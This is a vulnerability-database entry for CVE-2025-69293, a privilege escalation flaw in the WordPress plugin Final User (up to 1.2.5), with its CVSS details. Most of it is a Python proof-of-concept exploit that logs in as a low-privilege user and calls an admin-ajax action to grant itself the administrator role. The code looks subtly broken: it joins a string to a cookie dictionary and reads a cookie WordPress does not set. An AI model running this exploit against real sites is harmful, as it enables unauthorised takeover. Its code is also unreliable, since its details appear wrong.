Incorrect Privilege Assignment vulnerability in e-plugins Final User final-user allows Privilege Escalation.This issue affects Final User: from n/a through <= 1.2.5.
CVSS Details
CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Configurations (Affected Products)
No configuration data available.
Final User插件 <= 1.2.5
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests
import sys
# CVE-2025-69293 PoC - WordPress Final User Plugin Privilege Escalation
# Target: WordPress site with Final User plugin <= 1.2.5
TARGET_URL = "http://target-wordpress-site.com"
USERNAME = "attacker_account"
PASSWORD = "attacker_password"
def get_nonce(wordpress_url, auth_cookie):
"""Retrieve security nonce for the request"""
response = requests.get(
f"{wordpress_url}/wp-admin/users.php",
cookies={'wordpress_logged_in_' + auth_cookie: auth_cookie}
)
# Extract nonce from page source
import re
nonce_match = re.search(r'name="_wpnonce" value="([a-z0-9]+)"', response.text)
if nonce_match:
return nonce_match.group(1)
return None
def privilege_escalation():
"""Perform privilege escalation attack"""
session = requests.Session()
# Step 1: Authenticate with low-privilege account
auth_data = {
'log': USERNAME,
'pwd': PASSWORD,
'wp-submit': 'Log In'
}
login_response = session.post(
f"{TARGET_URL}/wp-login.php",
data=auth_data,
allow_redirects=False
)
if login_response.status_code != 302:
print("[-] Authentication failed")
return False
print("[+] Successfully authenticated as low-privilege user")
# Step 2: Exploit the privilege escalation vulnerability
exploit_data = {
'action': 'final_user_update_role',
'user_id': session.cookies.get_dict()['wordpressuserid'],
'new_role': 'administrator',
'_wpnonce': get_nonce(TARGET_URL, session.cookies.get_dict())
}
exploit_response = session.post(
f"{TARGET_URL}/wp-admin/admin-ajax.php",
data=exploit_data
)
if 'success' in exploit_response.text:
print("[+] Privilege escalation successful!")
print("[+] Attacker now has administrator privileges")
return True
else:
print("[-] Exploitation failed")
return False
if __name__ == "__main__":
print("CVE-2025-69293 WordPress Final User Plugin Privilege Escalation PoC")
print("=" * 70)
privilege_escalation()